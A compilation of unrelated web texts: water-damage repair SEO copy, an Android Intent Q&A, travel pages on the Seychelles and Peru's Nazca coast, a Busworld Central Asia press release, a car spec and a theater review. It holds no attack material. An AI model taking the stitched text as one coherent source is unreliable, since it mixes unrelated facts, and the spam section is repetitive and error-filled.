We will without delay get under way containing the damage, eliminating the water, and administering each of the various other cleanup needs.
Our rapid response crew will rapidly setup and deploy our advanced drying equipment to minimize the risk of mold and structural problems.
Water Damage Mcdonough Pros responds instantly to repair the smoke, soot, and fire damage problems. This includes cleaning your home's contents and belongings. We can as well eradicate fire and smoke smells by making using of deoderization treatments.
Phone us if Mcdonough water damage occured at your property.
Looking for emergency water damage help in Mcdonough?
We take care of drywall water damage in Mcdonough?
We are your neighborhood Mcdonough water damage technicians!
Need authorized Mcdonough water damage technicians?
Mcdonough water damage restoration is a call away!
Mold may possibly be a serious, possibly deadly, health hazard. Once it starts, it can quickly spread throughout the entire structure. We make use of industry proven and approved mold remediation methods accompanied with top of the line equipment, and know how to aid you.
We take care of water damage Mcdonough situations, flood water situations, fire damage issues, fire damage extractions in Mcdonough. We also take care of mold challenges. We manage commercial and residential work around the Mcdonough area. Basement flooding and sub-pump failures, emergency plumbing, leaking pipes too.


text:
Q: Problem in creating an intent I am trying to initialize an intent in a class by :
Intent i = new Intent(this.LineView,gamematch.class);

but this is not accepted and it gives an error saying: " The constructor Intent(LineView, Class<gamematch>) is undefined " and gives a hint saying change to Intent().
Is it the case that the class which extends different things can not be linked using Intents??
LineView extends View and gamematch extends Activity if that makes any difference in defining Intents.
I have all the imports related to intent and have used intents within the same project but with two different classes (having same extends)
any help would be great :)

A: The first argument of the constructor needs to extend Context, and is generally the currently active Context (i.e. the Activity that is currently active).

A: try change
Intent i = new Intent(this.LineView,gamematch.class);

to
Intent i = new Intent(this,gamematch.class);

This constructor need a context and a class, not a view.

A: You can use like this:
Intent i = new Intent(LineView.this,gamematch.class);

A: try something like this.
Intent SettingsIntent = new Intent(MainActivity.this,Application_Settings.class);
startActivity(SettingsIntent);

redpajama_set_name: RedPajamaStackExchange


Catch the The Dee Miller Band ...... We promise a great time!
Come out and join us at a new location for us!
Fourth of July in White Bear Lake!
Join us for a summer evening concert!
Join us for warm summer evening blues!


Seychelles is known for luxury tourism. Resorts can fetch several thousand dollars a night for posh villas. What about those of us on a budget? We want to see some of the World's best beaches too. While there is no way around certain costs in Seychelles, and there is no chance of free camping in Seychelles, you can still travel to Seychelles on a budget. Accommodation is the largest cost followed by food. Find a good budget guesthouse that is self catering with a kitchen so you can cook your own meals. Just because Seychelles sounds like an expensive holiday, doesn't mean backpackers and budget travelers can't make it work. Here is how we spent only $400 USD in six days in Seychelles.
International flights arrive into Mahe, the main island of Seychelles. Mahe is the largest island in Seychelles with the most accommodation, supermarkets as well as the Victoria market available to buy things you need. Also, the bus system is good in Mahe, and can help you to get around the island very cheap. If you are staying longer than 5-6 days, consider going to La Digue which is a cheaper island for budget accommodation costs less than Mahe. The added cost of the ferry (€47) will be offset by the cheaper rooms.
No matter what you read, there is "some" budget accommodation in Seychelles. While budget rooms could mean something different in nearly all countries, budget rooms in Seychelles start at €30 for 1 person. You can get a budget self-catered apartment for two from €45 in Mahe. La Digue and Praslin both have guesthouses where a self-catered room is €35 a night for two and typically includes breakfast. Nearly all budget options are self-catered, which is a huge factor in reducing costs. Check between different sources for the best rate, searching between Airbnb, Agoda, and getting direct phone lines.
Restaurants can easily make Seychelles an expensive getaway. The best part of Seychelles, is almost all budget rooms have self-catered kitchens. If you want to stick to €75 a day, you will likely have to cook your own food. Supermarkets and the Victoria market are not very cheap, so be selective about what you buy. If you like fish, you can buy fresh fish starting from 5 Rupee per fish. Eggs, canned food, bread, and cheese are very affordable. It is the meat, snacks and produce that can get expensive. You also can get street food starting from 40 Rupees (€3), for curries, fish, or hamburgers.
Car rentals in Seychelles will add a big cost to your trip. If you are staying near Victoria or Beau Vallon, you don't need a car. The public bus system is only 5 rupee fare for all buses. Buses run often for popular routes and all buses lead to Victoria. You can also take a bus from the airport (2 minutes walking from airport) and save on the €40 taxi. Check out Seychelles Public Transport for the bus schedule and routes.
We rented a car for 1 day to do all the activities further from where we stayed places around Victoria. There are many car rental companies in Seychelles, including several older cars which are rented out privately by owner. If you do not need a car your entire stay, wait to rent a car for cheaper prices. Look for cars, all which advertise and have contact numbers on the side of the vehicle. Renting a small basic car (Hyundai i10) in manual will range from €35 to €40 Euros. The bigger agencies only rent cars less than 3 years old, so find one who will rent an older car and ask for a discount. Rent from Sylvest Car Hire in Beau Vallon ([email protected], +248 251 7751) or from Classic Car Hire Seychelles at the Airport.


text:
Close Click here and
RusAutoNews.Com NEWSLETTER
Market Figures
Busworld – Central Asia 2019: the Silk Road for buses and coaches
Press release: Busworld – Central Asia 2019 / 25-27 June 2019 in Almaty / Kazakhstan
www.busworldcentralasia.org
Promising mix of international and local bus & coach manufacturers at Busworld in Kazakhstan.
The first edition of Busworld Central Asia will be held in Almaty, Kazakhstan, from 25 to 27 June 2019 in the Atakent International Exhibition Center. Almaty is the largest city in this vast country. Kazakhstan is the hub of other neighbouring "stan" countries such as Uzbekistan and Turkmenistan and the link between China and Europe via the 'Silk Road' connection.
Kazakhstan was formerly part of the Union of Soviet Socialist Republics (USSR) and its public transport systems were closely modelled on those of Russia. The country relied heavily on Russia for buses and that continued for several years after the dissolution of the Soviet Union in 1991.
Kazakhstan is a huge country and has large reserves of oil and gas. The country is larger than Western Europe in territory and is land-locked. That creates a challenge in exporting oil and gas but demand is strong from countries like its neighbour, China.
Bus manufacturers from outside the former USSR have been making steady inroads to the Kazakh market. There is demand for low floor layouts and also alternative fuels like CNG. There is some local assembly of buses, but the potential to increase is quite considerable.
It is estimated that 50% of the population of around 18.5 million people live in urban centres. Alternative means of public transport are very limited, so that will stimulate demand for better and more frequent bus services.
There are banking, financial and legal systems in place to support the import of vehicles, components and services. It is estimated that more than $40 billion worth of foreign investment has been pumped into Kazakhstan in the oil, natural gas and mineral industries in the last fifteen years or so. These industries will also require transport, principally for employees.
At the exhibition Busworld – Central Asia, a vast range of buses and coaches will be presented by: Anadolu Isuzu, Arobus, Astana Motors (Hyundai), Autocapital (Mercedes-Benz), Belkommunmash , JV MAN Auto, Kamaz Trading Company, Otokar, Saktagan, Samauto and Saryarka Avto Prom (Ankai Buses).
Anadolu Isuzu, Turkey: Anadolu Isuzu is one of the leading medium-sized bus and coach manufacturing companies in Europe, and produces both city, intercity and coaches in its plant in Kocaeli, Turkey. Production according to Japanese quality management systems and European quality standards and regulations leads to an excellent, globally recognized product. As a result the first midi-bus was exported in 2003. Today, customers and passengers from 26 different countries are enjoying Anadolu Isuzu buses and coaches. A nice example of this global recognition was the Busworld Award for most comfortable and ergonomic bus in 2015 which was won by the Isuzu Cityport.
Arobus, Turkey: Arobus, headquartered in Tuzla, Istanbul has a leading position in the field of vehicle conversions and adaptions. Among their product range, Arobus builds various minibus and bus models in different plants around Turkey. Approximately 30% of all small and minibuses sold by authorized dealers in Turkey are produced by Arobus. But they are not only a strong player on the local market, a big amount is also being exported to many countries across Europe, Asia, Africa and Australia. Important investments in the company during the past 10 years have made them into a leading approved partner company in Europe for different OEMs and fleet owners. On average around 8,000 units of commercial vehicles are being conversed.
Astana Motors (Hyundai), Kazakhstan: Hyundai Com Trans Kazakhstan was founded in August 2005 and is part of the KMC "Astana Motors". The company sells commercial vehicles of the Hyundai brand (trucks, buses, special equipment) and is the official distributor of the Korean company Hyundai Motor Company in Kazakhstan.
Autocapital LLP, Kazakhstan: Autocapital is the general distributor of Mercedes-Benz in Central Asia. The company provides car sales and after-sales services for passenger cars, commercial vehicles and buses through an official dealer network. They will be presenting a Mercedes-Benz Tourismo in the exhibition Busworld – Central Asia.
Belkommunmash, Belarus: Belkommunmash is the leading Belarusian manufacturer of urban electric transport: electric buses, trolleybuses and tramways. Only cutting edge technologies of mechanical engineering, supplements and components are used in the production. Vehicles of Belkommunmash have proved themselves well in more than 40 cities of Belarus, Russia, Ukraine, Moldova, Kazakhstan, Kirgizstan, etc.
JV Auto-Uzbekistan, Uzbekistan: The joint Uzbek-German enterprise " JV MAN Auto-Uzbekistan " was established on August 9, 2009. From the Uzbek side, the founder of the enterprise is the joint-stock company Uzavtosanoat, from the German side MAN Truck & Bus AG, one of the leading international suppliers of buses and services in the field of motor transport. You can buy finished products of the plant and get high-quality technical maintenance of MAN trucks at 14 dealer and service centers located in Uzbekistan. Furthermore the company plans to continue to develop the dealer and service network.
Kamaz Trading Company, Kazakhstan: Kamaz Trading Company is the official distributor of Kamaz in Kazakhstan, representing the Kamaz brands in sales, after sales, spare parts, service and financial services.
Otokar, Turkey: Last in line to confirm its participation was Otokar. They have been manufacturing buses for public transportation with their own technology, design and applications since 1963. Being a leader in the bus industry in Turkey, it is operating with over 2,000 employees at the factory built on a surface of 552,000 m2 in Sakarya. As a loyal exhibitor of Busworld Turkey, Europe and even Latin America, Otokar is exploring export opportunities around the world. The huge potential in both Kazakhstan, with big tenders coming up announced by the Ministry of Transport, as well as a in Central Asia in general convinced Otokar to participate in Almaty at the Busworld – Central Asia.
Saktagan, Kazakhstan: Saktagan is a Kazakh company whose main activity is the production and assembly of commercial vehicles, as well as calibration, repair and installation of tachographs, technical inspection of motor vehicles, restoration of car treads and delivery of auto parts and tires directly from manufacturers. Saktagan produces a range of city buses and intercity buses of the Almabus brand.
SamAuto, Uzbekistan: Samarkand Automobile Factory or SamAuto is a well-known city and intercity bus body builder from Uzbekistan. The company's dream is to become the leader in bus and truck body building among the CIS countries. Construction of the manufacturing plant started in 1997 and merely 2 years later the first 2 bus models rolled of the production lines. SamAuto has evolved into one of the biggest body building companies in the region with dealerships in all regions of Uzbekistan, but also in Kazakhstan, Georgia and Russia.
Saryarka Avto Prom (Ankai buses), Kazakhstan: Kazakhstan's largest automotive manufacturer, Saryarka AvtoProm, has reached an investment agreement with China National Machinery Import and Export Corporation (CMC). It became the official manufacturer and distributor of Chinese brands like Ankai buses.
Busworld Academy
Busworld Academy will hold its inaugural session in Central Asia with a conference entitled "Futuristic Transportation Solutions for Central Asia" which will be all about shaping tomorrow's public transport in Central Asian countries. The Academy will host presentations by a number of experts with knowledge of the Kazakhstan and regional markets. The event is supported by the Ministry of Industry and Infrastructural development of the Republic of Kazakhstan and the Mayorate of Almaty. The conference is organised in association with UNCRD (United Nations Center for Regional Development), KAO (Union of Auto Transport of Kazakhstan) , Atamekeh and UITP (Union Internationale des Transports Publics).
Almaty in Kazakhstan may seem a long distance away, but the country is nearer to Europe compared to China. There are regular flights and visitors from most countries can obtain short-term visa-free entry. Kazakhstan is the hub at the centre of a region that is growing rapidly in importance and Busworld Central Asia promises to be a leading event in the area.
Tags:	Almaty, Busworld, Kazakhstan
58% of car sales has been provided by government support since the turn of the year
Avtotor has started the full-cycle production of Hyundai trucks
Renault Russia has increased component exports by nearly 60%
Russia has reduced the tariffs implemented on the imports of used commercial vehicles
Daimler has increased its share in KAMAZ to 15%
Russian government predicts 10% growth in automotive industry in 2018
Sales of special-purpose vehicles have increased by 58% in Russia during the second quarter
The new management of AVTOVAZ targets a 20% market share in 2016
Best-selling cars
Automechanika Astana
MIMS Automechanica Moscow
Busworld Europe
© RusAutoNewsCom, 2011-2019 Theme by Orane-Themes.com.


text:
Home Destinations South America Peru Nazca and Southern Coast
Nazca & Southern Coast
OverviewExperiencesHoliday ideasAccommodationOur Experts
Nazca is no ordinary dusty oasis town. Tucked away on the southern coast of Peru and overlooked by the enormous Cerro Blanco sand dune, this sleepy town was hastily awoken in 1939 due to the discovery of mysterious drawings etched into the nearby rocky desert plains.
A little more about Nazca and Southern Coast
The otherwise barren Pampa de San José bears a vast tapestry of intricate geoglyphs spread over an area of approximately 500 sq kilometres, depicting not only parallels but also geometric drawings and figures thought to have been constructed by the Nazca (pre-Inca) culture in 400BC. Among the principal figures are a monkey (90m), pelican (135m), condor (135m), spider (42m), and lizard (180m). Best seen from the air, these huge, unique designs are still the subject of much speculation. Various theories have arisen as to the origin of these figures. The most accepted view is that of Dr. Maria Reiche, a German mathematician who studied the lines for more than 50 years, sustaining that the figures serve as an astronomic calendar.
Humboldt Penguins, Ballestas islands, Peru
Head north and to the Pacific Coast and the Paracas Peninsula, a marine reserve and starting point for trips out to the Ballestas Islands, where you can mingle with penguins, watch seals and sea lions frolicking in the surf and dolphins swimming in the bay. Watch out also for one of the world's largest concentration of guano-producing birds resident on the islands.
Tell us what you love doing and we'll curate a journey that's perfect for you.
Dune Sandboarding
Speed down the huge dunes in the desert oasis that lies outside of Huacachina atop a sand board.
View the Candelabra of the Andes
Marvel at this mysterious, candlestick-shaped prehistoric geoglyph that is etched on a sandy hillside and associated with the Nazca Lines.
Suggested read: blog
Fly over the Nazca Lines
Experience the Nazca Lines, the pre-Columbian geoglyphs that are etched into desert sands, from the air to marvel at one of humanity's greatest mysteries.
Ride a Dune Buggy
For a true adrenaline rush, head out from the desert oasis of Huacachina on a dune buggy adventure.
Salkantay Trail to Machu Picchu
If you want the challenge of trekking to Machu Picchu (but without the crowds and night spent in tents) then the Salkantay Trail lodge-to-lodge trek is for you.
10 days from £3,550pp
View Holiday Idea
Highlights of Peru
Uncover the highlights of Peru while travelling between colonial-era cities and deep river canyons, taking a train to Machu Picchu, the incredible Inca citadel perched high above the cloud forest, interacting with locals living traditional lives…
Family Amazon & Inca Adventure
This family-focused adventure journeys between the thrilling Amazon Rainforest, heaving with mysterious mammals and camouflaged creatures, and the dramatic Inca sites and cities of Machu Picchu and Cusco, considering everything from pizza nights to gentle acclimatisation.
Journey Peru & the Galapagos Islands
Encompassing the highlights of Peru, a stay in Quito and a sailing around the Galapagos Islands, this adventure tracks from culturally-dense and colourful Cusco to the iconic Inca citadel of Machu Picchu before moving to Ecuador's…
Hidden Wonders of Peru
Journey to the fascinating yet little-visited archaeological sites of central and northern Peru that include Kuelap – known as "the Machu Picchu of the North" – in the Chachapoyas region, for a truly off the beaten…
Navigate the Peruvian Amazon
Discover the astonishing, intricate, and ever-changing landscapes of the Peruvian Amazon during a luxurious river boat cruising voyage, with time spent exploring the Inca sites of the Sacred Valley, Machu Picchu and Cusco.
View Cruise
Journey through Peru, Bolivia & Chile
Travel by train, coach, boat and 4×4 on a unique one-way journey through Peru, Bolivia and Chile, seeing remarkable sites like Machu Picchu, Sun island on Lake Titicaca, sparkling salt flats and the world's driest desert.
Join Researchers in the Peruvian Amazon
Travel to the front line of conservation, home to scientists and a small group of volunteers from all around the world, to stay in a research station turned eco-lodge and lend a hand in the regenerating…
9 days from £1,800pp
Adventures in Peru
From zip-lining and biking to surfing and off-the-beaten-track trekking, this unique Peruvian journey offers an insight into the nation's adventuresome spirit.
Browse our Peru holiday ideas.
Our experts have created and curated these holiday ideas to get you started. Take the time to search through them and find something to spark ideas for a unique adventure.
If you want the challenge of trekking to Machu Picchu (but without the crowds and night…
Uncover the highlights of Peru while travelling between colonial-era cities and deep river canyons, taking a…
This family-focused adventure journeys between the thrilling Amazon Rainforest, heaving with mysterious mammals and camouflaged creatures,…
Encompassing the highlights of Peru, a stay in Quito and a sailing around the Galapagos Islands,…
Journey to the fascinating yet little-visited archaeological sites of central and northern Peru that include Kuelap…
Discover the astonishing, intricate, and ever-changing landscapes of the Peruvian Amazon during a luxurious river boat…
Travel by train, coach, boat and 4×4 on a unique one-way journey through Peru, Bolivia and…
Travel to the front line of conservation, home to scientists and a small group of volunteers…
From zip-lining and biking to surfing and off-the-beaten-track trekking, this unique Peruvian journey offers an insight…
View all holiday ideas View all cruises
Below you can see some of the wonderful places we have recommended for this journey.
Casa Andina Classic Nazca £££££
Casa Andina Classic Nasca is well situated being close to the Plaza de Armas and the Aerodrome, ideal for those taking a flight over the famous Nazca Lines. This simple, yet contemporary hotel offers 60 deluxe and superior rooms, with interconnecting options for families, and arranged across three storeys overlooking a long open-air terrace. All accommodation is rustic in design. A buffet-style breakfast and a la carte lunch and dinner menu are offered in the hotel restaurant which opens out onto a sun terrace with a bar and pool.
Aranwa Paracas Resort & Spa £££££
An ideal base from which to explore Peru's southern coast including the Paracas National Reserve, the mysterious Nazca Lines and the large sand dunes of Huacachina, Aranwa Paracas Resort & Spa offers 115 well-equipped ocean-view rooms, restaurants, two pools and a spa.
Hotel Paracas £££££
Hotel Paracas is a Luxury Collection Resort just 3 hours from Lima by road and 45 minutes by plane. Located next to a natural nature reserve, Isla Ballestas, and within close vicinity to Nazca, activities are plentiful here including the opportunity to take a private flight over the Nazca lines. This five-star hotel has over one hundred rooms, two restaurants, a luxury spa and a bar lounge. Each room has an i-pod docking station, 37inch LCD televisions and is decorated in a traditional style using bamboo and wood. Facilities at the property include the Ballestas restaurant, which serves Peruvian and Mediterranean cuisine, La Trattoria, an Italian restaurant, business centre and two heated swimming pools.
Paul Bird
Reaching the sun gate and marvelling over Machu Picchu unveiled one of the most impressive landscapes that Paul has seen in his global travels.
James Armitage
Having walked the full Inca Trail and arrived at the Sun Gate, it is in looking down over the mist-shrouded Machu Picchu ruins that James experienced the magic of the Incas.
Roxy Dukes
If your passion is the outdoors and you are looking to delve into South American culture, Roxy recommends one of the lodge-to-lodge hiking programmes to explore the Sacred Valley and beyond. Hopping between the quiet mountain towns, meet the locals that live off the grid and immerse yourself in the welcoming spirit of Peru.
Explore other regions
This barren and largely inhospitable landscape is carved by the powerful Rio Colca as it snakes its path through an enormous volcanic…
Both a UNESCO World Heritage Site and one of the Seven Wonders of the World, Machu Picchu is one of the most…
The Sacred Valley of the Incas is a fertile valley that follows the Urubamba River from Pisac in the east to Ollantaytambo…
Lake Titicaca Peru
At 4,000 metres altitude, Lake Titicaca is the highest navigable lake in the world, it is also one of the most beautiful…
Perched spectacularly on the flanks of El Misti, Chachani and Pichu-Pichu Volcanos and beneath the predominantly blue skies of southwestern Peru, Arequipa…
Cusco is a stunning combination of ancient Inca and colonial Spanish influences. Attractive churches, monasteries and convents are interspersed with perfectly preserved…
Huaraz and Central Mountains
The city of Huaraz is known as "the Switzerland of Peru" due to the beauty of the spectacular Cordilleras Blanca and Negra…
Founded in 1535 by Francisco Pizarro, in colonial times Lima was considered the City of Kings, and UNESCO designated it as a…
Northern Peru
Northern Peru is a fascinating area of the country that very few tourists visit. It is rich and varied in terms of…
Peruvian Amazon
The sparsely populated Peruvian Amazon Rainforest blankets more than half of the country in northern Peru and is quite literally teeming with…


The American car first seen in 2003 and powered by a 4 - cylinder naturally aspir. petrol unit, produced by Mazda. The engine offers a displacement of 1.8 litre matched to a front wheel drive system and a manual gearbox with 5 gears. Vehicle in question is a large family car with the top speed of 205km/h, reaching the 100km/h (62mph) mark in 10.9s and consumping around 7.8 liters of fuel every 100 kilometers.


text:
HomeArts & EntertainmentArts
ArtsTheatre
Theater Review: "Dames at Sea" at The Wick
By access
When I saw "Dames at Sea" at the Wick Theatre this past weekend, it came just five days after seeing the disastrous Broadway tour of "Anything Goes" at the Broward Center: Two cornball retro musicals set aboard ships. But the difference is vast and refreshing. The regional "Dames at Sea" is every bit as infectious and streamlined as the national "Anything Goes" was shrill and turgid.
Premiering in 1966 in a tiny off-off-Broadway coffeehouse, "Dames" based its parodic narrative on the splashy, leggy Busby Berkeley movie musicals of the '30s, only with a sliver of their resources. The characters are deliberately stereotyped showbiz caricatures—pampered diva Mona Kent (Laura Hodos), brassy chorus girl Joan (Alison McCartan), small-town ingénue Ruby (Lindsey Bethea), the sailor and aspirational songwriter Dick (Alex Jorth), his shore-leave buddy Lucky (Blake Spellacy) and the grouchy, long-suffering theater director Hennesey (Gabriel Zenone). They collide backstage at a 42nd Street theater that just happens to be undergoing a demolition on their opening night, prompting the production to relocate onboard Dick and Lucky's naval battleship.
"Dames at Sea" is unabashedly insubstantial escapism, the kind that makes the Wick's previous selections, "Oklahoma!" and "Man of La Mancha," look like cerebral treatises. But under Michael Ursua's imaginative and tonally consistent direction, this silly show radiates joy and uplift, simultaneously honoring and superseding its threadbare origins. Angela Morando-Taylor's minimalistic, tap-driven choreography, performed in Act One in front of nothing by a propless brick wall, is punchy and captivating, while musical director Caryl Fantel, leading her exceptional three-piece band from her perch at the piano, conducts the show's surprising wealth of styles, from Broadway pomp to ragtime, a Viennese waltz and a Latin-tinged tango.
The cast, absent a weak link, captures the '30s-musical ambience while frequently winking at a nonexistent camera. While the men are unassailably solid, there's a reason the dames share the show's title: Hodos skillfully milks every comic moment with extended beats and entitled mugging, while an effervescent Bethea imbues her naïve Ruby with big-eyed wonder and a chipmunk squeak. McCartan effortlessly embodies her wisecracking chorus girl, sharing with the equally fleet-footed Spellacy the show's finest hour, the tap celebration "Choo-Choo Honeymoon."
Equally inspired is the Wick team's technical vision, gussying up the show's coffeehouse austerity with just the right amount of dazzle. A black-and-white credit sequence, echoing the vintage movie nostalgia of "Dames," opens the production on the Wick's newly installed projection screen. A shadow play invigorates Mona's Act One number "That Mister Man of Mine," and the scenic design for the battleship-set second act features a frontal view of the ship's deck, complete with three confetti-spewing canons pointing toward the audience and smoke billowing from its twin funnels.
This kind of lavish technical detail likely isn't new to "Dames at Sea;" after nearly 50 years of small-scale productions, the show finally was scheduled to debut on Broadway last year. That didn't happen, yet. But after this charming interpretation, who needs Broadway?
"Dames at Sea" runs through May 31 at the Wick, 7901 N. Federal Highway, Boca Raton. Tickets cost $63-$80. Call 561/995-2333 or visit thewick.org.
The Real Prom to Remember
The Great River Race
Anthony's Runway 84 Reopens
The New Kapow Interiors: A Treasure Box of Surprises
The Expert in Financial Advice and Estate Planning
The Expert in Sustainable Office Buildings and Campuses